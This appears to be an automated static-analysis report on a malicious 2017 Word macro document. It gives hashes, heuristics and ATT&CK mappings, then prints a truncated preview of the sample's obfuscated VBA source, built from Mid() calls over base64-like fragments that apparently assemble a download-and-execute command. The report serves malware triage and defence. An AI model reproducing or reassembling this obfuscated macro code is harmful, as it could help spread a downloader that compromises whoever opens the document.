Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 019f39a55e5d8452…

MALICIOUS

Office (OLE)

77.5 KB Created: 2017-11-07 16:57:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: ac3f3765427b45f1765295cdd2a11f97 SHA-1: 5212f8e3a9be2e2f4316e20c3d4fc2b0d0265177 SHA-256: 019f39a55e5d8452bb2475975f8fd0601b4ff33d4d304497de7d3cdf38edebc4
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The 'AutoOpen' macro is present and uses the Shell() function, indicating an attempt to execute arbitrary commands. The macro's obfuscated string concatenation suggests it's trying to hide its true intent, likely to download and execute a second-stage payload. The presence of the 'macros.bas' file further supports the macro-based execution.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13171 bytes
SHA-256: 4123b3f534ed7c439b0aaeb88955589052433905b7e5afda6cd9f8ee764a5937
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 30 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "PmoZVOEwn"
Function FucMNZdfb()
TTXQCZi = Mid("VDE8E8AMQA2ADQALAAxADYANABGADEANgAwAE8ANwAyAD4ANQA3ACUANQA3AD4Hqs0zrwwDhViwjMoU", 5, 58)
TWJilXiMP = Mid("RAN6q4nFZHHm4kquJFw1jAPgA3ADUAJQA0ADAAHAWDbfmqVXsZjE24w", 22, 17)
vlOMtZ = Mid("GrX6jdqH2XEADEAMQA1ACwAMQA0ADUAfQAxADYAMwAsADEANgAzAD4AMQA0ADEAfQAxADQANwBCADEANAA1AEIANwAzACEAMQA3ADUAfQAxADcANQAnAC4Adp8UEr1UrMGWU", 12, 108)
NsfmhSoYL = Mid("CJj83RhQAwAE8AMQA3ADMARgAxADYANwAsADEANgAyAH0AMQA1ADEALAAxADYANABGADEANAA1AH0ANQA1AEIAMQA1ADAAJQAxADUANwB9ADEANgAzACUAMQA2ADQAJQA0ADAAfQA0ADQAOgAxADMANwBPADUANgA6ADEAMAA1AE8AMQA3ADiUOWfNW", 8, 173)
iFDdVFf = Mid("O69bOjbLJMKVO5s20jjEPAANABUADEANAA1AFQAMQA1ADUAJQA1ADYAJQAxADEANgBCADEVJw63jz0q0s", 23, 48)
YCFMzVUC = Mid("KTLuRSj6iHimYiMQA2ADcAfQA1ADUALAAxADUANwA6ADEANAAyAE8AMQA1ADIAOgAxADQANQAlADEANAAzAEYAMQA2ADQAQgA0ADAAPgAxADYAMgAlADEANAAxAE8AMQA1ADYAOgAxADQANAA6ADEANQA3ACEAMQA1ADUAOgA3ADMAfQA0ADQzPCWN52o4EP", 15, 167)
NfEwFqLhXhC = Mid("383KGpLBa7q1H0AMQA2ADAALAAxADYANQBPADEANwAyAEYAMQA1ADQAVAAxADYANAAlADEANwAxASQz0ZjF5", 13, 64)
cpUYd = Mid("UrOTusFdQA0ADoANAA3AFQANQAxACUANwAzAEIANAA0AH0AMQA1ADYAPgAxADQAMQAhADEANQA1ACEAMQA0ADUARgA0ADAAPgA3ADUAQgA0ADAARgA0ADQAIQAxAJltcKNs047iARQMNWvcdi", 9, 116)
nGcCjudsA = Mid("hXqHDQAJQA3ADM7I4bcBqjJqrohCJE4WlijNbqLwt", 5, 10)
IqIjTrO = Mid("FX6CssQA0ADEAPgA1ADYAQgAxADQAMwBPADEANQA3ACUAMQA1ADUAOgA1ADcAIQAxADUAMwAsADEKDsBsCUVTcDEBwR", 7, 70)
TYkbiBzn = Mid("Fi644OQDYAMgBGADEANAAxAFQAMQA1ADYAIQAxADQANAA+ADEANQA3AFQAMQA1ADUALAA1ADYAfQAxADUANgAhADEANAA1AEIAMQAGRT1OOZ6clnza1t", 8, 94)
iwJlf = Mid("jDiWKz5YOJocYzXAIQAK9CznkfzRiBTMN58C", 16, 3)
kDXwCOR = Mid("jrTUOBJAE4AJwAnACkAKAAtAEoAbwBJAG4AKAAgACcANAqtlNi9lihkiZUf9LmCrHM", 6, 40)
iunnBsw = Mid("PClmvjqmiEZZ0anRGDQRohSWAMQAhADEANgA0AE8AMQA2ADQAIQAxADQANQAsADEANgAyACwANQA2AFQAMQA0ADMAPgAxADUANwAhADEANQA1AE8ANQA3AEIAMQAyADYAPgAxADEAMABUADEANALhPjPqKdl", 25, 122)
uTvEMKMB = Mid("n4dWmFztIcQgAxADUANgA+ADEANAA1AEIAMQA2ADcAfQA1ADUATwAxADUANwAsADEANAAyACUAMQA1ADIATwAxADQANQAhADEANAAzAH0AMQA2ADQAPgA0ADAAVAA1ADUATwAxADAAMwBCADEANQA3AH0AMQA1ADUARgNkGfz", 11, 154)
SHWVkM = Mid("CkPijRgA1ADcAJQA0ADcALAA1ADYARgAxADIAMwBUADEANgAwACEAMQA1ADQAfQAxADUAMQBCADEANgA0AFQANQAwAD4ANAA3AEIANSScSQs", 6, 97)
kZuwvPl = Mid("WTJKcjDoAMQAxADUAtwj0GL", 7, 11)
ZKijjBzNEi = Mid("PNhuITKqUADEANgAwACUAMQA0ADEAfQAxADYANABGADEANQAwAH0ANAAwAE8ANwA1AD4ANAAwAFQANAA0AD4AMQA0ADUATwAxADUANgA+ADEANgA2AFQANwAEwk2DWJHFfaZWpoSb0DJJTl", 9, 112)
VIaipIvhMj = Mid("4Z5SqaTjAAzADoAMr0I0ELMZ36zPR9ZjYMjOYlAjP4WOA", 9, 8)
zwSAqAhIkH = Mid("BEwh0wDQAVAAxADUAMAA+ADEANgA0AH0AMQA2ADQAVAAxADYAMAA6ADcAMgAlADUANwAlADUANwAhADEANQA3AEIAMQA0ADYAOgAxADQANgBGADEANQAxAEYMM89", 7, 114)
iiQjP = Mid("WlMzS45WKA0W5dQ7aL3FD2spimUjNHzpX2ADMAPgAxADQAMwBPADEANQAwAFQAMQA1ADcATwAxADUANwBGADEANQA0ACEANQA2ACUAMQA0ADMALAAxADUANgAlADUANwBGADEAMwAwAD4ANQA3AE8ANQAdPCqSP", 34, 120)
hRTFrc = Mid("RqEEw6r71ADYAIQAxADUANAAsADEANQA3AEYAMQA0ADEAIQAxADQANAA+ADEAMAA2AH0AMQA1ADEARgAxADUANAAsADEANAA1ADoANQAwADoANAA0AH0AMQA2ADUARgAxADYAMgB9ADEANQA0AEYANQA2AE8AMQAyADQAfQAxADUANwA6ADEAMgAzACEAMQA2ADQAQgAxADu0VLKTXRiiUpm9rr", 9, 195)
atAXj = Mid("iPO9jpb2EIQAxADYANQBUADEANgA0AD4AMQA1ADcAfQAxADUANQBPADEANAAxAE8AMQA2ADQAVAAxADUAMQBUwIUt6ipddaazE9zvtSDj", 10, 76)
wjZwDz = Mid("1Ssfriz5CfTR5ADYANAAhADEANQA3ACwAMQA1ADUALAAxADQAMQAlADEANgA0AH0AMbBzVlLAzhqclVA", 14, 53)
wWRPS = Mid("rz5tYNK7vVMqFjq5AMQA0ADMAOgAxADUAMQBPADEANAAxACwAMQA1ADQAIQAxADQAMQBGADEANQA0ACEAMQA1ADQATwAxADQAMgBUADEANgAyACwAMQA1ADcATwAxADYANwA+ADEANgAzACwAMQA1ADUAQgAxADQbC", 17, 144)
XzwKCtcAuf = Mid("tjTm9lcwBwAEwASQB0ACgAJwA+AEXdmVMjT9n0KZKwIv4Uwo", 7, 22)
bYwMtjTCsj = Mid("ZICkkC3DoHpWsj4ZC3cAfQAxADYANwA+ADEANgA3ACEAMQA2ADcALAA1ADYAQgAxADYAMgAhADEANgAzAH0AMQA0ADEAdPqiH", 19, 74)
iPbqwEL = Mid("3H4YkdXTABPADQANwB9ADEANQAwAFQAMQA2ADQAIQAxADYANABUADEANgAw
... (truncated)

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